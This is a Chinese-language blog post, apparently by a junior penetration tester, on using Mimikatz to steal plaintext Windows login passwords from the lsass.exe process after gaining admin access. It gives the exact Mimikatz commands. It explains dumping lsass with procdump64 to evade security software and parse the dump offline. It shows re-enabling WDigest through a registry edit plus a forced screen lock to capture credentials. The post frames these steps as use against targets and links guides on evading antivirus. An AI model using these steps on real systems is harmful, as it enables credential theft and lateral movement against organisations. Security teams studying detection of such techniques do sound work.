背景
今天老大问我拿到内网一台机器,怎么知道用户密码。我自然不会,老大就让我了解Mimikatz这个工具。于是学习到这个直接读取远程服务器的密码的工具mimikatz
Mimikatz
mimikatz是法国人Gentil Kiwi编写的一款windows平台下的神器,这是我除了zywoo知道的第二个法国人了。它具备很多功能,其中最亮的功能是直接从lsass.exe 进程里获取windows处于active状态账号的明文密码。mimikatz的功能不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等,mimikatz包含了很多本地模块,更像是一个轻量级的调试器,其强大的功能还有待挖掘。因为水平缘故,我目前只了解到获取windows明文密码这一功能。
原理
获取到内存文件lsass.exe进程(它用于本地安全和登陆策略)中存储的明文登录密码
在 KB2871997 之前, Mimikatz 可以直接抓取明文密码。当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。但由于一些系统服务需要用到 Wdigest Auth,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)。
一下是支持的系统。
- Windows 7
- Windows 8
- Windows 8.1
- Windows Server 2008
- Windows Server 2012
- Windows Server 2012R 2
利用前提:拿到了admin权限的cmd,管理员用密码登录机器,并运行了lsass.exe进程,把密码保存在内存文件lsass进程中。
抓取明文:手工修改注册表 + 强制锁屏 + 等待目标系统管理员重新登录 = 截取明文密码
实现过程:
安装 mimikatz_trunk
以管理员运行cmd:
命令如下:
privilege::debug
sekurlsa::logonpasswords
注意:在对目标攻击时,对方有安全软件时可以先安装procdump64.exe,获取到 lsass.dmp 文件,然后在自己的环境下运行mimikatz这样就获取到目标密码。
安装procdump64.exe
这是微软自己的工具所以不会存在任何异常所以放心使用
命令如下:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
获取到 lsass.dmp文件后可以用
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
来获取明文密码,最后的exit是运行完成之后停止,不然会一直运行下去
进阶
Windows8.1以上版本或打过KB2871997补丁的机器,lsass中不会存储密码,如果想抓取密码,可以将注册表HKLM(HKEY LOCAL MACHINE)\SYSTEM\CurrentControlSet\Control\securityProviders\Wdigest下的UseLogonCredential设置为1,类型为DWORD32
可以使用命令:
Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1
本文借鉴博客有:
https://www.cnblogs.com/Scholar-liu/p/11379950.html
拓展:
Mimikatz绕过安全软件:https://www.freebuf.com/articles/web/176796.html
http://www.hackdig.com/07/hack-55560.htm